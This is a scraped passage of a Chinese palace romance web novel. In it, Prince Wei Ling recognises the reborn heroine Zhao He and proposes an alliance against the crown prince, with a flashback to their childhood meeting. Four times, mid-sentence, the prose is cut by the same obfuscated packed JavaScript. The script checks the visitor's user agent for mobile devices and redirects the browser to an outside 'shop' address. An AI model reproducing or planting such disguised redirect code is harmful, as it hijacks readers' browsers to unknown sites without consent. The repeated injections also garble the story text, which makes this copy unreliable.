母妃刚入宫那会儿，也不受宠，如今不照样成了贵妃享荣华富贵？ 要我说，相敬如宾也是好的，儿啊，眼光，莫要放那么高——” 贵妃尚要再语，却听卫翎冷不丁开口： “母妃。” “嗯？”贵妃骤被截话，还以为卫翎照旧会谈些迂腐搪塞她的道理，正要不依不挠再续前言，却听卫翎心平气和问：“您说的，可是宁国公的独女？” “正是。”贵妃答。她言毕了才觉诧异，照以往经验，若此事毫无回旋余地，当不该复问才是。 她凝望着卫翎，斟酌着想说一二句，却听卫翎轻声道： “母妃，那便遂了您的愿罢。” 他声线极淡，却并不冷，瞧着不似勉强之举。 贵妃愣愣地看着他，后者却对亲娘这副神情恍然不觉，只眼神飘忽着顿了半响，也不晓得是看见了什么，竟倏地扯起嘴角。 虽只是浅浅一个弧度，旁人几不可见，可贵妃依旧是觉察了。 登时，她心中五味杂陈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16604425|187142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，仿佛一石激起千层浪。 紫英率先回过劲来，机灵地贺喜道：“恭喜娘娘，您总算得偿所愿了。” 萧贵妃依旧满脸恍惚。 她揉了揉额角，刚从乱如麻思绪中将自己拎出来，还未开口，便听卫翎抢先道：“母妃，一切以她的心愿为主。” 萧贵妃瞪他一眼：“本宫盼你这些年，成家的事是一点眉目没有，前些日子更是跟丢了魂似的，你父皇都来与我叮嘱。” 萧贵妃本欲呵斥，可说到底，回想起卫翎昔日光景，又不免怅惘。 她叹了口气，道：“你既对朝家女儿有意，又要自由婚恋，那便尽早吧。” “母妃，答应了？”卫翎试探道。 他脸上虽是一贯不动声色的老成，眸底却难掩震颤。 萧贵妃一眼便看穿了他的心思，没好气地应道：“嗯，答应了。” 她故作不耐，唇边的笑意却怎么也藏不住。 萧贵妃啧了一声：“本宫是那么不通情理的人吗？虽不知昔日你究竟为何，可如今好了便是。” “为娘就你一个孩子，自是以你为主。”萧贵妃低声慨叹，望着卫翎的目光疼惜又深远。 她默了一会，又故作洒脱地垂眸：“罢了。既你已应许，那也没什么要事了。” 她持杯啜了一口，又似想起什么般倏地抬眸，弯唇嫣然一笑。 “忘告诉你了。”迎上卫翎不解的目光，萧贵妃骄矜颔首，“本宫这园子，后头可是栽了一大片林子。” 卫翎闻言，哑然失笑，却依旧是浅浅地一弯唇角，慢条斯理地斟酌道：“母妃的意思是，要我与朝二小姐私会？” 见卫翎黑眸沉沉，眼神定定，萧贵妃瞥了他一眼，恨铁不成钢道：“你这是什么话？怎的这般难听？谁教你的？” 岂料卫翎一本正经道：“儿臣少时，母妃不是常与儿臣念话本吗？话本上说——”” 听他刻意拉长了尾音，萧贵妃忙不迭制止道：“成成成，是本宫，你莫说了。” 她痛痛快快地认下，须臾又不耐烦地问道：“那你究竟要不要约见朝二小姐？” 仿佛是拿准了贵妃的心意、在等这句话似的，卫翎闻言迅速揖手：“多谢母妃。” 他抬手极快，腔调却很缓。 萧贵妃见状，即刻便瞪了他一眼。 “瞧你装腔作势的样子。”贵妃说。 见卫翎不答，她也懒得费心，手一推便将其翻了个个儿，逼他往林子中去了。 打发走了卫翎，贵妃长舒了一气，才闲下心望望下首。四顾见喁喁者众，她思虑再三，又与左右计较一番，点了点头，终于沉吟道： “本宫看来看去，既觉得云大小姐妙音难得，又以为陈小姐的画艺高超，虽分不出个高下，心里头却莫名记挂着朝二小姐的《高山流水》，只道是知音难觅，山河动魄。 真才实学者多，动人心弦的少，本宫思来想去，仍觉得朝二小姐是个可心人儿，这步摇，便赐给朝二小姐了。” “至于旁的千金，辛苦一场，也不该白来。”贵妃吩咐，“各赐绫罗三匹，便后送入府邸。” 她顿了顿，不知是往何处瞥了一眼，唇角竟浮上一抹满意的笑：“棠华宫的新林子，今春景致甚好，诸位进宫疲累一场，何不一同赏玩？也好不负春光。” 18. 紧逼 朝和扶着珠连，徐徐地在林子中走。 老远便听她惊叫。“小姐！”珠连瞪大眼睛望了望前头，片刻又喜得转过头，指着先前道：“有棵极大的树呢！” 合璧失笑：“皇宫后院，好的、大的，是应该的，作甚么大惊小怪？” 朝和抬眸一看，见是参天古木，郁郁葱葱，顿时恍然：“合抱之木，凭人力，恐不能移。林子既是新建的，大约便是围着这棵栽的罢。” 她气息很轻，望着这树，心中却好似想起什么一样，竟有些怅惘。这茫然表现在脸上，一时不察，不知不觉地，竟叫她走至树下了。两个丫头端详她的神情，虽觉古怪，却也不好多说，只得由着她去了。 朝和仰脸看着，却有些痴了。 天上的还开着，密密地绽着，叠云堆霞；转眼一扫地上，却零零落落，全成了烟尘。 老的，旧的，被实实的碾在地上，新的，嫩的，还在不住地飘下来，天女散花一样的，成了条锦缎似的路。 这甬道铺在桃林里，固是极美的，极盛的，可朝和看着，竟有些感伤。 她倏地想起了过去的事，前世的事。 曾几何时，太子对她殷勤备至的时候，也捎过桃花。 开得那样盛，那样艳，可依旧是过眼云烟——朦胧里，夹着算计。 如今，时过境迁，一切都大不同了。 朝和凝望着眼前的光景，心中却在叹息。 卫潜说，花是从宫里折来的。 那样细细的一根枝子，若真是她眼前这棵，想必也不算什么罢——毕竟它是这般的粗壮！ 不算什么。朝和心里呢喃着，正如她：于沈家，于太子，亦算不得什么。 思及此处，她忽然想伸手摸一摸树干，可指尖刚挪了半寸，竟又如惊弓之鸟似的，骤然闪开了。 她的手，虚虚搭在半空，浮了半响，也只攥紧了一声喟叹。 纵使漫天桃夭，也依旧满眼茫茫。 终于，她仰着下巴，一片花瓣盖在了眼上。 它打着旋儿下来时，朝和还是怔怔的，只是有些惊奇地睁大了眼。 见其真要卷在脸上，才下意识地瞌上了眼皮，随即便一动不动。 她默了须臾，才后知后觉地抚过面庞，拈花在手心里，哑然失笑。 她怎么忘了。朝和自嘲。 她盯着自己接住的花瓣，慨叹其如此纤柔无力。 ——她已经不在相府了，也再没什么人，敢令她颤都不许颤地罚站、受苦。 念及此，她微微蜷了下掌心，松开了合拢的指尖，捋了捋鬓发。 风有些大了。朝和出神地想。 她将发丝别在耳后，转眸眯了眯眼，才终于确定：不远处，竟真多了个人。 那青年衣袍深紫，长身玉立，却一言不发，不知已看了多久。 卫翎本来眼皮极薄，当下直勾勾地定着眼，却并不冷锐，反倒是似喜非喜，似怆非怆。 漫天红雨，芳菲灼灼，簌簌而下，他却立定在桃林里，静静的地驻足，时而像幅墨渍未干的画。 宣纸翻卷，墨痕倒流，丹青尽染，最终凝在纸边，挂成枚小小的水珠，晃晃悠悠，最终晕在他眼角。 红红的，上翘着，像一瓣黏在脸上的花，那样湿润，仿佛能剖见其间的脉络。 他望她的眼神很深，仿佛是有百般滋味，萦绕心头。 这般复杂的眼神，朝和不懂，却下意识地想遁逃。 她抿了抿唇，朝卫翎行了一礼，稍纵便要转身，可卫翎却沉吟着唤住了她。 “朝二小姐留步。”卫翎说，他斟酌了须臾，又道，“我有要事相求。” 要事？到底是王子皇孙压人一头。朝和腹诽着，不动声色地徐徐转身，平声静气道：“殿下说笑了。臣女微末之身，怕是有心也无力。” “不。”卫翎摇摇头，“若是朝二小姐，必能够。” 朝和惊奇地看着他，兴许是挨得近了，竟能瞥见他唇角的弧度。 只见卫翎朝珠连合璧处望了一眼，轻声问朝和：“可否借一步说话？” 朝和迟疑地点点头，又别过脸嘱咐了两句，便随卫翎移步到旁处去了，却依旧不敢离丫鬟们太远。 她凝视着卫翎颀长的身影，仍在警戒其与太子情真意笃的耳闻。 终于，朝和立定了。 她故作镇定地理了理发丝，尽量让自己显得从容一些。 “方才丫鬟在此，多有不便，殿下如今当可说了罢？” “卫翎。” “……什么？”他嘴里倏地冒出这么两个字来，朝和疑心自己错漏，不由复问确认道。 “卫翎。”卫翎依旧目不转睛地看着她，神色却有些怅然，似是怕朝和听不清，他又补充了一句，“你从前，都是如此唤我的。” “殿下？”朝和惊诧。 她与卫翎，不是仅见过一面么？除非算上—— 思及此，朝和已不敢再想，她强装镇定，挤出一个笑：“殿下定是记岔了。” “臣女与殿下不过两面之缘，殿下是天潢贵胄，直呼名讳，臣女万万不敢。”朝和眼含歉意，“恳请殿下见谅。” 卫翎大约只是一时兴起，朝和垂眸，想必须臾便会打消念头，早早推拒，省的日后东窗事发还要与她分辨。 她叹了口气，方想起来径直拒绝丝毫不留余地，正觉不妥，预备说些什么替卫翎补一下面子，却见后者猝不及防道：“你我并非只见过两面。” 他此言何意？朝和震惊抬眸，总不该是原身与他见过吧？ “一月前，平光茶馆。”卫翎轻声说，他微微倾身，惊得朝和退了半步，“我驻足花满楼，恰巧撞见你。” 平光茶馆？朝和瞳仁震颤，莫非是她约见叶云锦被卫翎撞见了？ 朝和喉咙发干，攥紧了袖口，失神之间，所思所想竟脱口而出：“殿下去花满楼作甚？” 此话一出，二人俱是吃了一惊。 朝和悔不当初，噤声不吭，卫翎却并不着恼。 听她没头没脑地出声质问，他反而勾起唇角，好脾气地解释道：“父皇命我查户部尚书的案子。” 他思忖片刻，又补了一句：“你晓得的，跟太子相干。” 朝和面不改色，心中却瞠目结舌。 她一介闺阁女儿，刚神智清明，岂会知晓东宫秘事？这也便罢了，怎么她问什么，他便顺理成章地答了？ 朝和心中讶异，一时相对无言。 许久，她才沉吟着开口：“方才是臣女失言，还望殿下见谅。” 听她顿了一瞬，卫翎立时见缝插针，腔调却依然和缓：“小姐真性情，我自不会放在心上。” 朝和奇怪地瞥他一眼，道过谢，继续道：“至于……户部尚书，虽感念殿下信任，可如此大事，殿下何须说与臣女听？”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16618118|187142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “何况殿下一早便说有要事相求。”朝和斟酌着措辞，“臣女以为，殿下开门见山，也能早做打算。” 省得老兜圈子来回移话题。朝和扯了扯唇，不晓得的，还以为他是来叙旧的。 “既如此，我便却之不恭了。”卫翎弯了下唇，所言所语却登时将朝和砸了个满怀。 “沈从玉。“他轻声说，似乎是怕朝和听不明白似的，又心平气和地缓缓重复道，“我与你合作，好不好？” 朝和几乎不敢相信自己的耳朵。 尽管难以置信，她仍是咬了咬牙，迫使自己镇静下来，几次三番地张了张口，终于拧出个平常的笑。 “殿下。”朝和哆嗦着指尖，极力按捺住震惊，缓声道，“殿下定是认错了。” 她说着，语调显得唏嘘又惊奇：“殿下说的，大约是已逝的沈家二小姐吧。” “虽可怜红颜薄命，可臣女与她素不相识，自认先前养病深居简出，与殿下也从未见过。不知缘何得此猜度？” 她定定地注视着他，觉察手指不再颤抖，终是深舒了一口气，故作从容地将发丝捋在耳后。 卫翎见状，笑意更深。 “或许连你自己都不知道。”他继续道，“你一紧张，手便会不自觉地绕发尾。” “假如你不是她，怎会连动作幅度也别无二致？”卫翎反问。 朝和哑然了一瞬，又迅速反驳：“巧合罢了。” “兴许是殿下记错了。”她随口一提，又不以为然地扯起嘴角：“世人千千万，习惯相似而已，缘何评定？” “不，我不会错认的。”卫翎轻声辩驳。他神情那样笃定，以甚朝和都不觉投来惊异眼光。 卫翎了解便也罢了，可怎会这般细致入微？朝和心内犹疑。 她似乎觉察了什么，却本能地不愿细想，况且，卫翎见她不吭，已自顾自地说下去了。 “你与我分吃糕点事发，彼时辩驳情态，与贵府老夫人寿宴之日，应对刁难之举，又有何不同？”卫翎神色宁静，可言语间，却无端显出种隐忍来。 “还有，凤梨酥。”卫翎轻声说，他蜷在背后的手紧了紧，“不正是你最爱吃的吗？” 朝和瞥他一眼，却并不作声。 她心说自己最爱凤梨酥是不错，可昔年行差踏错又不是她一人为之，卫翎也有参与。不过事后结算之时，他莫名奇妙全揽了罪责，那时她心存感激，如今亦是，可于当事人跟前旧事重提，她无端觉得是揭短。 想起旧日情景，朝和有些心虚，她滚了滚喉咙，正想说点别的转移话题，谁料刚抬眸，便猝不及防地一头栽进卫翎眼里。 只见他眼波灼灼，宛如深埋在冰层下的焰火，哔哔剥剥的，冰都被烧化了，缓缓融下来，却如同春水流淌。 两人视线相接的刹那，那些火便化作了一根看不见的细线，将两人系在一起。卫翎那头，还源源不断地传来热量。 此时此刻，朝和似乎听见了什么，不过，它不在耳边，而是她骨缝里的颤音——“咔”得一声，仿佛是冰凌，被烫得迸裂了。 朝和步步后退，以甚背都倚住了树——她摸不准卫翎的心意，更不敢轻易松口，可只要她抵死不认，卫翎又真能对她怎么样？ 她思忖着，面无惧色，直视着面前的脸孔，轻声说：“我不知道。” “我不知道殿下在说什么。”朝和神色坦然，心却直跳。 19. 点心 沈从玉从前，并不是很会看人眼色。 她虽挨过打，也受过骂，可统共不过几个人，府中也分布得很零散，躲着便是，也无畏旁人，毕竟他们顶多无视，也不会拿她怎么样。 从玉如此盘算，可谓想得很开，是以比之如今，她那时，性情自要活泛许多。 而她遇见卫翎，恰巧是这么个时候。 彼时一个唇红齿白的小少年，月白衣袍，直挺挺地杵在膳房门口，挡住了去路。 从玉本是不高兴的，可随眼一瞥，看他所穿不凡，袍角也纹着暗绣，登时换了念头，顺嘴问了一句，也没听他反抗，便将其也一并扯了进来。 沈从玉跨过门槛便开始翻箱倒柜，所经之处却依然整齐，看她蹑手蹑脚，卫翎难免惊奇，遂沉吟着问道：“你在寻何物？” 从玉闻声也不抬头，依旧闷在壁龛里，随口答：“你怎么知道？” “……猜的。”卫翎一时失语。 从玉“哦”了一声，走心应付：“那您可真厉害。” “……” 卫翎又是一阵无言。 从玉跑前跑后，钻来钻去；卫翎心随意动，目不转睛，眼也随着她转。 不知多久，从玉轻呼一声，只露了大半个身子在外面，惊喜道：“找着了！” 念及屋内尚有个放哨的，从玉思量片刻，依旧很给面子地转头，三两下跳过去，“喏”了一声。 从玉颔首，将揣着的盒子一递，骄矜地解释道：“分你些，吃吧。” 卫翎低头一瞧，那步包已被压扁了，连带着点心也大大小小地残了边角，不甚好看。 他想了想，还是伸手拈了一块，端详了半响，却依旧下不去嘴，抬眸朝从玉瞥了一眼，却见后者鼓着腮帮，嚼得津津有味，手中也只剩半块了。 “真有那么好吃？”卫翎忍不住问。 沈从玉用力地点点头，发带也一甩一甩，看上去灵动又可爱。 她使劲将嘴里的东西咽下去，拍拍胸口道：“当然。” “这样好的东西，少见的不得了。”她说完，又上下打量了卫翎一眼，敛眸回看糕点，“不过，于你这般的贵公子而言，大约也不算什么。” 她顿了一下，又嘀嘀咕咕道：“果然不识货，早知不给你了。” 见她皱了皱鼻头，卫翎莫名地竟没再说，只当是前者嘟囔，含糊地他听不见。 如此下了决心，似乎也为了转移注意，卫翎纠结之下，决定浅尝辄止，可咬完，却惊觉并不难吃。 是凤梨酥啊。卫翎想。 他慢条斯理地尝完了一块，转头便见从玉跟饿死鬼投胎似的，一口接一口，不禁开口：“你那般，能尝得出味道么？” 从玉狐疑地分了他一个眼神：“自然。若尝不出，还吃它作甚？” 听她反问，卫翎欲言又止，终是换了个话头：“……话说，你如何知晓此处有糕？” 从玉此回答得极快：“我姐姐告诉我的。” “你还有个姐姐？” “嗯。”从玉点点头，模样很是得意，“便是姐姐叫我试了一口，我才决心来偷。” “那你这是与我分赃？”卫翎注视着她的嘴角，上头还沾着糖屑。 沈从玉撇撇嘴，不高兴地说：“你这说得也忒难听了。” “是姐姐说了没人吃，我才来的。”从玉瞥他一眼，“虽只有一面之缘，你也不能这么看低我吧。” 她说完，便回头去专心啃糕点，瞧着并没有放在心上。 估计是相府里的小丫头。卫翎想。他看着从玉，观察着她身上的装束，默默得出结论。 卫翎如此想完，正预备问她平日过得好不好，门外却倏地一阵躁动。 “糟了！”从玉胡乱抹抹嘴，边说边拍打衣裙，神情很焦灼，“定是有人来了！” 她瞧了瞧自己的掌心，又瞅了瞅着装整洁的卫翎，一咬牙，攥住了他的手，语速飞快道：“弄脏了你的衣裳真不好意思，等安生了我一定向你赔罪，可若教他们瞧见了，我一百张嘴都说不清。” 从玉率先翻过了窗，朝卫翎伸出手，迫切地说：“来！把手给我！” 仿佛是深受感染，亦或许是见她轻车熟路，卫翎竟毫不犹豫地伸出了手，抓着从玉，踩上了窗沿，荒唐地跳到窗下。 两人猫在一起，卫翎神情如常，从玉却脸色发紧。 她竖着耳朵听了半响，直至再无动静，终于深深松了口气，转头朝卫翎道歉：“抱歉，连累你也躲躲藏藏。”从玉低声说。 卫翎却摇摇头，起身拍拍襟摆：“无妨。” “你不是请我吃点心了吗？”他朝从玉伸出手，“走吧，换个地方说话。” 从玉讶异，却依旧欢喜地“嗯”了一声，随他直起身，可不等她站稳脚跟，便听得一个威严声音开口：“从玉，你在此处作甚？” 几乎是立时地，卫翎惊讶地觉察，身后的女孩子抖了一瞬。 她的手险些就要抽出去，却被卫翎攥紧了。 她在害怕。卫翎神色冷峻，她恐惧不远处的那个人。 可不远处是谁？ 卫翎绷直了脸，遥遥望去，那个人逆光走来，身姿伟岸，如山似的，投下的阴影将两人罩为一体。 卫翎也终于看清了他的脸。 ——她怕的人，是沈彰。 “我在问你话。”沈彰逼近了，“为什么不答？” “嗯？沈从玉？” 随着尾音落下，卫翎身后的人也颤得愈发更厉害，眼见是畏惧得很。 卫翎不明白，为何女儿面对父亲会如此畏惧，可她都抖得这般严重，他不能不管。 卫翎思忖片刻，道：“丞相。” 沈彰讶异转头，这才注意到在傍的卫翎，忙行礼：“二皇子。” “您怎么在这儿？”沈彰拱手，“臣迎驾不周，还望殿下见谅。” “无妨。”卫翎沉声说，“是本殿下未曾通报，与丞相无关，你不必自责。” “谢殿下。”沈彰恭敬作揖，转头又呵斥从玉，“殿下在此，畏缩在里，成何体统？方才听下人报膳房出事，忙赶来看，谁料是你，还不去面壁思过？” 从玉深深埋着头，发了个“是”的气音，便要撒手往角落去，谁料卫翎依旧紧抓不放。 从玉怔了一下，回头微笑：“放心，有错自然要改，爹已经对我很好了，不会对我怎样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16626362|187142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的。” 若不是卫翎在此，恐怕沈彰要指责她是贼了。从玉心里苦笑。 见卫翎仍不放手，她不由着急得摇了摇，压低声音道：“快松开，我已累你脏了衣裳，若再挨罚，我可真是造了大孽了！” 卫翎沉沉地看着她：“我是皇子。不会挨罚。” 他轻声说完，也不等从玉回话，径直朝沈彰开口：“丞相，有件事，或许你是误会了。” 沈彰的胡子抖了抖：“殿下此言何意？” “丞相所指，可是方才屋内骚乱？”卫翎不答反问。 “正是。”沈彰迟疑道。 “那便好办了。”卫翎从容点头，顿了顿，又道，“是我擅闯，又见其内香味诱人，思量之下，仍不愿被人知晓，这才引得大乱。若非令千金解救——” 从玉诧异抬眸，卫翎却面不改色，将她的手牵得更紧，缓声道：“恐怕会颜面有失。” 沈彰听完，审视的目光来回在两人身上打量，可从玉被卫翎严严实实地藏在身后，纵再三察看，也只能瞧见二皇子殿下的面孔。 他视线在卫翎脏污的袍角停滞了一息，终收回目光，捋须沉思道：“既如此，那确是老夫错怪。” “无论如何，害殿下劳心费力，终是臣之过错。”沈彰叹息，又急切问道，“不知殿下贵体如何，可有碍？” 见卫翎摇头，沈彰松了口气，和蔼一笑道：“那便再好不过了。” “殿下，时辰已到，不妨留下用膳吧。”沈彰提议，“也好弥补臣招待不周之罪过。” “那便恭敬不如从命。”卫翎点点头，终于松开了从玉的手，心中的石头也悄然落地。 “沈千金也一起来吧。”卫翎倏地回头，见从玉“啊”了一声，又朝她莞尔一笑，“还未好好谢过你。” 他说着，又朝从玉伸出了手。 从玉怔怔地望着他，踌躇了半响，最终还搭上指尖，低着头“嗯”了一声，声音很轻。 恍惚间，昔年调子与场景，似乎都在与眼下重合。 只是女孩子的神情，如今要从容地多。 可她还是她，卫翎深深地看着眼前的朝和——纵然改头换面又如何？人不会变，他的感觉更不会变。 “你不承认也无妨。”卫翎轻声说，“我知道是你便好。” 他凝视着朝和的脸，沉声道：“你想对付卫潜也好，沈瑜也罢。” “亦或是你如今的那些亲戚，都无所谓。” “无论如何，我都会帮你。”卫翎莞尔，“既牵扯朝堂，你若有不便，调我手下的人便是。” “你尽可安排，他们不会过问。”他倏地敛眸，羽睫颤抖，轻声道，“你若不信我，也无妨。” 卫翎话毕，又似预先准备过一样，径直掏出块令牌给她，言简意赅：“保险起见。” 他摊开掌心，定定看着她。 “……” 朝和看着那信物，却没有接。 他这般郑重其事地承诺，倒教她不知说什么好。 一时间，朝和竟疑心起他是否真站队了太子。 念及此，她惊疑不定，心里话也脱口而出： “……为什么？” 20. 合作 “没有为什么。”卫翎说，他依旧举着手臂，一动不动，“因为是你。” 朝和闻声，依旧踌躇。她蜷缩着手指动了动，仍不打算开口。 似是猜出她所思所想，卫翎坦言：“我全然自愿，你不必有负担，所谓一言九鼎，也断无反悔之意，何况你我早就相识。” 他边说，边观察朝和的神色，默了默，倏地又变了话头：“以旧情为系相结，的确脆而不坚，那便以利合之，你看如何？” 闻声，朝和终于抬头。她斟酌片刻，气息亦和缓许多：“你想去争储君之位？” 卫翎不置可否，反问：“有何不可？” 见他平心静气，话毕便不打算再说，朝和也难免心忖。 卫潜，虽凭嫡长子之身得占太子名头，可惜生母早逝，后宫无人打点，贵妃又属意皇位，多番枕头风下来，的确少得陛下青眼，帝意渐疏，父子关系不咸不淡。 反观卫翎—— 皇后仙逝，后位空悬至今，眼下宠眷优渥者，也唯有卫翎生母、萧贵妃一人而已，况论其出身江南清流，卫翎可以大儒外祖为恃，后宫前朝，母子两个，都可谓势如日中天。 念及此，朝和斟酌片刻，终于点头：“好吧。” “我会尽力争取国公府支持。”朝和正色道，一脸公事公办的态度。 毕竟她还没见过朝朔，不敢轻易下定。朝和沉思。 见她颔首，卫翎一喜，心神颤动间，顺势将信物一推，轻声道：“既达成共识，那小姐便收下吧。” 仿佛是怕朝和婉拒似的，他又补充道：“以便联络。” 听他坚持又言之凿凿，姿态恳切，朝和也不好回绝，只得收下。 “多谢。”朝和说，她低眉将令牌攥在掌心，道谢完道，“你接下来，有什么打算？” “继续查户部尚书？”朝和问。 见其将信物妥善收好，卫翎才心内一动，便听她提及方才，既知所言蒙朝和挂怀，当即忙不迭开口，答：“不错。” “李玟是卫潜的钱袋子，再者，父皇也急需交代。”卫翎解释，“了结此案，对你我都好。” 朝和点点头：“你查至何处？” 卫翎沉吟：“游逛青楼，豪掷千金，肆意妄为，恐怕账目有疑。” “那便是要找账本？”朝和道。 卫翎摇摇头：“眼下证据不充，佐证未坚，我也只是猜测。” 朝和闻言，却一副若有所思的样子。 “此回宴请宾客，似乎户部尚书的夫人也在席间。”朝和沉吟，“那个炫耀自己买了副新头面的，便是她。” “她有一点，我记得很清楚。”朝和颔首，“这位夫人，儿时曾遭过变故，后来非得将手头物件儿全换作金子不可，这样的习惯，迄今都不曾改。” “偏偏她衣穿用度又常用常新。言语矛盾，难免惹人怀疑典物实为托辞，真意在隐匿资财、掩人耳目。”朝和沉吟着，又继续说，“既与其夫人相干，看来，你所料账目之事，十之八九，恐为不虚。” “关键是要津何在。”卫翎接话道，“府中必有知情人，不可不查。少不得要安插人手。” 朝和思忖片刻，却道：“你要说户部尚书，其府邸恰有人在。” 卫翎讶异了一瞬，忽地仿佛察觉到了什么，欲言又止：“你是说……” 朝和点头，莞尔一笑道：“不错。” “叶云锦恰在他家教书——” “且所授非旁人。”朝和与有荣焉地颔首，骄矜勾唇，“正是李夫人。” …… 李玟夫妇两个，加一起得有六十好几，成婚多年，却仍没有子嗣。 他娘子高敏闲极无聊，又女红不精，闻说叶云锦风头正盛，心血来潮，便将人请来授课。 “李夫人出人意料的好相处。”叶云锦回忆，“为人很勤勉，待下时，出手也大方，素日总端着一副笑面。” 正言及兴头处，叶云锦却倏地蹙眉，道：“然每隔三两天，她便要推脱身子不适，我提及探望，也总被回绝。虽心生疑窦，可既然资费照旧，我也没什么好说。” “你与她约在什么时辰？”朝和伸手够了一块凤梨酥，问。 “申时。”叶云锦答，“对了，她院子里小丫鬟们谈话，我也听过一耳朵。” “什么？”朝和起了兴致，倾身道。 “说——”叶云锦见她迫切，有意卖了个关子，才道，“他们用饭时，高敏还是好好的。” “晌午人无碍？”朝和惊诧，”可照你方才所言，申时出岔子了呀？如此想来，必是未时有猫腻喽？” “未时。”朝和喃喃，“休憩独处的时候，她一个人，能出什么事？” 叶云锦闻言，思索片刻，道：“不清楚，只记得说是……李夫人当日气色红润。” “兴许是大户人家的富贵病吧。”叶云锦漫不经心道。 她瞥了一眼朝和，见其茶杯见底，拎起壶就要添水，低头却“啧”了一声：“怎么没了？” 说罢，她起身撩开幕布，推门瞅了瞅廊下，却愁上眉头：“今个儿怎么人这般多？” 抬眼一望，伙计奔走不暇；四顾周遭，也不乏翘首以盼者，眼见如此，叶云锦也只得转身回眸，无奈道：“都忙，可有的等了。” “无妨，我不渴。”朝和安慰她，弯唇，“不过，言及茶尽，我倒想起那桩事来。” “哪件？”叶云锦好奇。 “你方才说，他二人至今无所出。”朝和重复道，“丈夫又沉溺烟花之地，夫妻之间，恐怕并不和睦吧？” “这倒是真的。”叶云锦深以为然，“院子里偶尔撞见，也是疏远得很。” “夫人更甚，纯是冷脸。”她正说着，倏地偏头，“你乍一提及，我也觉出不对来了。怎么，难不成她气色红润，与此相干？” 朝和默了半响，也不晓得是想起了什么，又兀自沉吟：“不会真是话本子里讲得那般吧？” 见她自言自语，叶云锦纳罕半响，倏地也有了眉目，瞪大了眼睛，却依旧欲言又止：“你是说……” “嘘。”朝和摇摇头， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16636874|187142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “没实证，不敢乱说。且瞧往后吧。” “只是，纵真有此事，怎会被轻易觉察至这个地步？”朝和神色凝重，犹疑着转头，“是否过于蹊跷了？” “的确怪异得很。”叶云锦蹙眉沉吟，“经你一提，诚得留心。” 她如此说，本想替朝和分担压力，却见后者依旧忧心忡忡。 叶云锦默了一瞬，索性转了话题：“对了，听闻宁国公归京在即，你可想好如何应对？” …… 朝朔归京那日，恰逢三月底四月初，春夏交接的好时候，朝和正托着腮，倚在桌沿念书。 她没打算出门，只简单梳了个云髻，发簪也没插，边读，心中还总冒出涉及户部尚书府的念头。 叶云锦的信连传了好几天，说高敏请假愈发频繁了。 云锦耐不住，前两日便又自请去看看，熟料高敏竟准了。 瞧着人是有些虚弱，可精气神还好；言谈间，虽难掩疲倦，却莫名透着魇足。 她屋子里点着浓浓的熏香，但依旧透着股说不出的味道，叶云锦谨慎地不敢多看，问了两句病便走了。 不过，有一点，云锦印象很深。 高敏的神色相当坦然。 仿佛她大敞着门，就是专留给叶云锦探的一样，临别时，还对其依依不舍地挽留，瞧着很是情真意切。 云锦说，她们猜度之事，恐怕十有八九。 只是高敏的态度她却琢磨不透。 ——大约与近日的户部员外郎贪污受贿案相干。朝和想。 区区五品小官，在寸土寸金的京城里被抄家，本不值得大惊小怪。偏偏主事的在人家院里搜罗了几圈，大张旗鼓地，却真翻到了罪证，这才闹得沸沸扬扬。 念及卫翎先前所提，朝和以为，此回也正是他的手笔。 声势浩大的，还真不容易教人怀疑到他身上。朝和腹诽，不过，这招杀鸡儆猴，倒很是奏效。 当事人与李玟隶属一部，还是他的下属，就连罪行都一路。 料李玟如今也是极慌张的，否则，他夫人高敏，怎会这般急切地想脱离李家？ ——必是嗅到了风声。 只是不知，李玟会不会放她走了。朝和叹息。据她打听，高家，可是钟鸣鼎食的巨贾。 朝和连番细想，很是出神。是以珠连乍一推门便嗷那一嗓子，登时将她吓了一跳。 “小姐！”珠连高喊，眼中还着些辛酸与欣慰，兴高采烈的报喜，“老爷回来了！” “……老爷？”朝和被她嚷得一哆嗦，茫然地喃喃了一声，好半响，才回神瞪大双眼，“你是说，宁国……爹回来了？” 